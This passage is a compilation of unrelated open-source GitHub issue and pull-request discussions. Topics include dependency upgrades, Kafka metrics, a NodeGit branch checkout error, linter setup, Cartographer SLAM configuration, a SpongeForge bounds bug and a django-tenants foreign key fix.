  Messages          0          0
  Branches        168        168
==========================================
  Hits            336        336
  Misses          671        671
  Partials          9          9

Powered by Codecov. Last update fce551d...e323cf3

I'm new to this pip-tools world.  How often do we think we'll have PRs like this? The requirements were last updated three weeks ago.

It's unlikely we'll have just updates for updates sake. In my previous migration to pip-tools, I didn't touch the versions at all. So this represents an update for this chuck of "major" work.
I think in general we should update packages when we do feature updates.

OK, :+1: I guess. I don't know how I would decide to not approve this pull request.


Add gateway uptime metric

Related issue #745
Signed-off-by: Maayan Friedman<EMAIL_ADDRESS>

@maayanf24 this one also need a quick doc change


optupdate <=> comments

Proposed changes
Issue Number: close #xxx

Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall

run p0


Export numerical kafka_topic_info parameters/labels as individual metrics

Currently kminion_kafka_topic_info metric exposes all topic parameters as labels. [1]
I've got an use-case where I'd need the replication_factor and min_insync_replicas values to be used in promql queries to verify if a given topic has under-min replicas, e.g:
kafka_topic_partition_replicas < "min_insync_replicas"
or a given topic has under-replicated partitions:
kafka_topic_partition_replicas < "replication_factor"
To do so, the only solution I found is to have these numerical topic parameters exposed as separate metrics, e.g:
kminion_kafka_topic_info_min_insync_replicas
kminion_kafka_topic_info_replication_factor
Would this be a good improvement for the kminion @weeco ?
[1] Sample:
kminion_kafka_topic_info{cleanup_policy="delete", container="kafka-minion", endpoint="metrics",
max_message_bytes="1048588", message_format_version="2.5-IV0", message_timestamp_type="CreateTime",
min_insync_replicas="2", partition_count="1",  replication_factor="1", retention_bytes="-1", retention_ms="10000",
segment_bytes="536870912",
topic_name="00faec4f386fc8dda9688d402cc92d0c1082ee0d426909841e6b4d11750deb65"}

I think Kafka itself has a metric called under min isr. I think introducing a similiar metric would make sense. Literally you could expose via a metric how many under.min.isr.partitions exist on a given topic:
Example:
kminion_kafka_topic_under_min_isr_partitions{topic_name="xy"} 4

WDYT?


Optimize optiopay/kafka parser

There is a lot of optimisation potential in the Kafka parser to enhance throughput and reduce latency

[ ] Avoid multiple copies of the data
[ ] Parse stream based instead of copying the entire request first
[ ] Have a feedback mechanism to start parsing slower on write congestion

Related most likely, for BPF we need to do exact matches using a radix-tree instead of the for-loop over rules I saw in kafka logic. The idea is to do initial parse over packet into fields and then for exact match each 'letter' in a topic is node in the radix tree and if the topic string ends at a leaf node in the radix tree the topic is allowed otherwise it is a not allowed. Same applies to other string matches that are exact match. The nice performance result is O(n) time where 'n' is length of strings vs O(mn) time where m is number of topics. But really the motivation is avoiding loops in BPF. Perhaps not noticeable unless we get many topics though.
Would be nice to port the same logic into kafka userland just for consolidation of code paths and perf benefit if we see many topics.


release: update to 17.0.5 from 17.0.4

Prep for Oct release.
Not ready for review
TODO:
Need update checksum

This is not needed - it's automatically updated by a bot that periodically checks for updates (see the note at the top of the file about not editing it directly)


Added GUI Version

Rename the project to bepass, because bepass-cli is only assigned for the CLI version.
Added GUI Version written  using  fyne.
Modified Makefile and Readme and made compatible with the current branch.

TODO:

Modify the Github action and fix it 😄 (it crashes...) also releasing the GUI version
Add more options for the GUI version

Idea:
   What's your idea about using upx for the releases? they'll get more compressed and optimized

anti virus systems are very sensetive to upx compression


Run Formatter & Configure Ecto Dep

Could you explain what import_deps: [:ecto], is for? As far as I understand it imports the formatting rules of Ecto. Can you give an example of such a formatting rule?
All the rest is mix format ?

Could you explain what import_deps: [:ecto], is for? As far as I understand it imports the formatting rules of Ecto. Can you give an example of such a formatting rule?
All the rest is mix format ?

@mathieuprog If you remove the ecto dep, field :name, :string (from the models) would be formatted as field(:name, :string).
The rest is only the formatter.

@mathieuprog If you remove the ecto dep, field :name, :string (from the models) would be formatted as field(:name, :string).
The rest is only the formatter.


Error: Reference 'refs/remotes/user/foo/HEAD' not found

Folks, I have a branch called user/foo that I'd like to check out from remote.  Code:
Git.prototype.refresh = function refresh(branch) {
    var repository;

    var options = {
        credentials: function() {
            return NodeGit.Cred.userpassPlaintextNew(GITHUB_TOKEN, "x-oauth-basic");
        },
        certificateCheck: function() {
            return 1;
        }
    };

    return NodeGit.Repository.open(localPath).then(function (repo) {
        repository = repo;

        return repository.checkoutBranch(branch, options).then(function (checkoutresult) {

            return repository.fetchAll(options).then(function (result) {
                return Promise.resolve(result);
            }).catch(function (err) {
                console.log('Unable to fetch',err);
                return Promise.reject(new Error(err));
            });
        }).catch(function(err) {
            console.log('checkoutBranch',err);
            return Promise.reject(new Error(err));
        });
    });
};

error:
[Error: Error: Reference 'refs/remotes/user/foo/HEAD' not found]

Am I using checkoutBranch incorrectly?  I already have the remote cloned to a local directory, and am trying to switch to a particular branch.
Thanks!

I saw your post on Stack Overflow as well. I'll try to answer what you have here and then copy the resolution over to that question.
So you can only checkout a local branch. You're trying to checkout a remote. What you'll have to do is get the commit on the remote branch and then use that to create a new branch and then (optionally) set the upstream to track the original remote branch.
At that point you can then check out your newly created local branch.
We're pretty active over on our gitter so if you're still having problems swing by and we'll see what we can do to help.

GREAT! thank you!


exec: format error in the sh file

not sure if typo or if other distros use this format(i run manjaro linux)  but the Photoshop installer script next to the bin folder in the header its a   "!#/bin/sh"  instead of the regular "#!/bin/sh the hash and exclamation point was swapped. switching it back fixed it (or just directly running the executable in the folder instead.

This issue occurred because you didn't used the last installer.


upgrade(package): Update eslint 3.19.0 -> 4.16.0

We upgrade eslint for better support of the object-curly-newline
options, and change the quantity of elements required before the linter
enforces newlines on objects, in addition we apply consistent to avoid
errors when there are newlines in objects with less than 2 elements.
const { field } = object

const {
  field
} = object

const {
  field1,
  field2
} = object

Change-Type: patch
Changelog-Entry: Upgrade eslint to use object-curly-newline options.

I just noticed, this only updates to 4.16.0, not 4.17.0 – is that intentional?

4.17.0 must've come out recently – yeah we might as well change it to that then

It's been out since Feb 2 – how long have you had this branch sitting around? ;P

@jhermsmeier looks npm is complaining about 4.17.0 – the changelog doesn't seem to have anything crucial for us right now in any case so I'm gonna go ahead and merge this once the tests pass.
<@etcher-alt>-<⎇ upgrade-eslint>-<*>-> npm install eslint@latest --dev
npm WARN install Usage of the `--dev` option is deprecated. Use `--only=dev` instead.
<EMAIL_ADDRESS>/home/benedict/Prog/Javascript/etcher-alt
└──<EMAIL_ADDRESS>invalid

That's because you're not saving & shrinkwrapping it, also the --dev isn't what you're looking for; you'll want to do the following when updating deps in Etcher:
npm install --save-dev --save-exact<EMAIL_ADDRESS>

Ah, I got confused with npm's save by default but that doesn't apply to our version of npm. Thanks.


Add python-black and configure linter

Is your feature request related to a problem? Please describe.
We have not any linter and it's important to follow PEP8. For this reason, it's important add any linter.
Describe the solution you'd like
Add python-black in requirements, documentate and explay to team how to use it.
Also configure any linter (flake8 or pylint)
Describe alternatives you've considered
Nope
Additional context
Nope

Should we also add type annotations in our code? or at least to the new code we add? If so, we could add mypy as well.

Yes, I would like it. Although it's not necessary install mypy, right? Python3 already have type hints.
https://mypy.readthedocs.io/en/latest/cheat_sheet_py3.html

Mypy as type hints linter, to sure that the types are what should be.

Ah! I didn't know about that. Ok! Nice!

I think mypy is a bit more complex to add as it will check the whole structure and right now we are not using types.
The sooner the better but we have to change everything...
What we can do is check for "recently" changed files only. This way the test will pass easier.
Once we update the whole codebase we can remove this if.
We may need a small script to do so.
I think it's better if we consider implementing it in another issue.

Yep, I agreed as well.


2D Cartographer with only one LIDAR and one IMU

Hi There,
I have searched around existing issues to find a answer for my question however I could not find some useful info, so please forgive me if this is already asked before. I have only one LIDAR that I would like to use with 2D Cartographer. I know that in Demos the bag files are recorded with 2 LIDARS, so when I record bag file with one LIDAR and one IMU it shows nothing on Rviz,
WhaT part of code should be modified in order to be able to run the bag file I recorded with one LIDAR and IMU ?
Thank you !

The second lidar (vertical laser) is not used at all during SLAM. Your problem lies somewhere else. Most basic problems are wrong frame names and topic remappings, make sure you got that right.

Hi, @ojura
Here is a screenshot  of my frames, Can you post your frames result so that I can compare where I got wrong?

What is your tracking frame in cartographer? Is it base_link? You need a transform from it to the imu and laser_mount_link frames. Your tf tree has to be connected.

Okay I think I understand where problem lays now. I am closing the issue, however I will comment if cannot get it work :) . Thanks for your help !


Max bound of ArchetypeVolume always throws PositionOutOfBoundsException

I am currently running

SpongeForge version: 1.12.2-2838-7.1.8
Java version: 1.8.0_101
Operating System: Ubuntu 16.04
Plugins/Mods: None

Issue Description
When creating a Schematic, we need a world.createArchetypeVolume(min, max, origin). The issue is that this method on DefaultedExtend calls volume.getIntersectingEntities with max added by one (here), which checks the bounds and always throws the PositionOutOfBoundsException. So, no matter which max position we use, we'll always end up with this error.

Stack trace? Don't really want to play guessing games with where it's occurring.
I suspect it's a problem with confusiung block co-ordinates and real space co-ordinates, not directly what you said. That said, I did test that change extensively when I implemented it, so I'm curious to see what was missed.

Oh, forgot to include it in the ticket: https://pastebin.com/XUtN0vtf

Okay, it's an off by one error and is an easy fix. I will sort it out tonight (UK time).
To explain, I introduced this change in this commit. There seems to be some confusion across the codebase as to whether something is in real space co-ordinates, or block co-ordinates. When writing the implementation, it's clear that someone assumed that AABBs were block space co-ordinates, when actually, AABBs work in real-space. So, the adding by one is correct in that method (as explained by the comment above it!), as I was converting a block co-ordinate to two corners in real space co-ordinates.
That check method that throws that error assumes block space co-ordinates - which for that scenario is wrong. There needs to be an equivalent for real-space.
Why has this occurred? Turns out that this error will only occur when entities exist within the AABB in question. I suspect all my testing was done without entities in the AABB!
@Hiroku I know you were having this issue too - figured you'd like to be pinged to know why!

Thansk for clarifying! 👍


BOUNTY: foreign key constraint violation with custom Auth User Model

I have a custom User model through django-authtools that looks like this:
shared_usermodel/model.py
import uuid
from django.db import models
from django.utils.translation import ugettext_lazy as _
from authtools.models import AbstractEmailUser

from django.conf import settings

class User(AbstractEmailUser):
    uuid = models.UUIDField(default=uuid.uuid4, editable=False, blank=True)
    first_name = models.CharField('first name', max_length=255, blank=True)
    last_name = models.CharField('first name', max_length=255, blank=True)

    def __str__(self):
        return "%s" % (self.email)

    def __repr__(self):
        return self.__str__()

    def __unicode__(self):
        return u'%s' % (self.email)

and a Model in one of my webapps:
from django.db import models
from django.conf import settings

class Leave(models.Model):
    title = models.CharField(max_length=100)
    leave_owner = models.ForeignKey(settings.AUTH_USER_MODEL, blank=True, null=True)

    def __str__(self):
        return "%s" % (self.title)

    def __repr__(self):
        return self.__str__()

    def __unicode__(self):
        return u'%s' % (self.title)

When I try to set a leave_owner, I get:
insert or update on table "webapp_core_leave" violates foreign key constraint "web_leave_owner_id_2ffe88b0e46ab4a6_fk_shared_usermodel_user_id"
DETAIL:  Key (leave_owner_id)=(2) is not present in table "shared_usermodel_user".

Any idea why this happens? I didn't used to have this issue with django-tenant-schemas.
Thanks!
Ps: my settings.py:
SHARED_APPS = (
    # 3rd Party
    'django_tenants',  # mandatory

    # Core
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'django.contrib.sites',

    # CUSTOM USER MODEL
    'authtools',
    'shared_usermodel',

    # Uncomment the next line to enable the admin:
    'django.contrib.admin',
    # Uncomment the next line to enable admin documentation:
    'django.contrib.admindocs',
)

TENANT_APPS = (
    # The following Django contrib apps must be in TENANT_APPS
    'django.contrib.contenttypes',
    'django.contrib.auth',
    #'django.contrib.sites',

    # CUSTOM USER MODEL
    'authtools',
    'shared_usermodel',

    'webapp_core', # this holds the Leave Model
)

AUTH_USER_MODEL = "shared_usermodel.User"
INSTALLED_APPS = list(set(TENANT_APPS + SHARED_APPS))

Looking at it closer, it seems that it tries to look users up on the public schema, instead of the tenant schema. Any idea how to fix this?

Opened a bounty of $50 for whoever can help me fix this!
https://www.bountysource.com/issues/24340373-foreign-key-constraint-violation-with-custom-auth-user-model

You have to disable the db_constraint when you are making relations between tenant and shared apps:
leave_owner = models.ForeignKey(settings.AUTH_USER_MODEL, blank=True, null=True, db_constraint=False)

That should do the trick

Wow, I didn't realize it would be so easy! I expected I would have to make heavy modifications to django-tenants, thank you :smiley:
Anyway, a deal is a deal, let me know if you want the bounty.
Also, let me know if you have suggestions for #9, I've been wracking my brain on that one.
Cheers!

I feel silly taking that bounty for the one liner. I believe in karma :smile:

Ok, your choice! I shall donate this to the Django foundation instead :)
Again, thank you so much!

You're welcome. That money would be better invested there :+1:


vertx-junit5 brings vertx-rx-java and vertx-rx-java2 transitively

Both should be optional

agreed, in master it is handled differently.
can you fix this soon for 3.9.5 @tsegismont ?

There is a PR already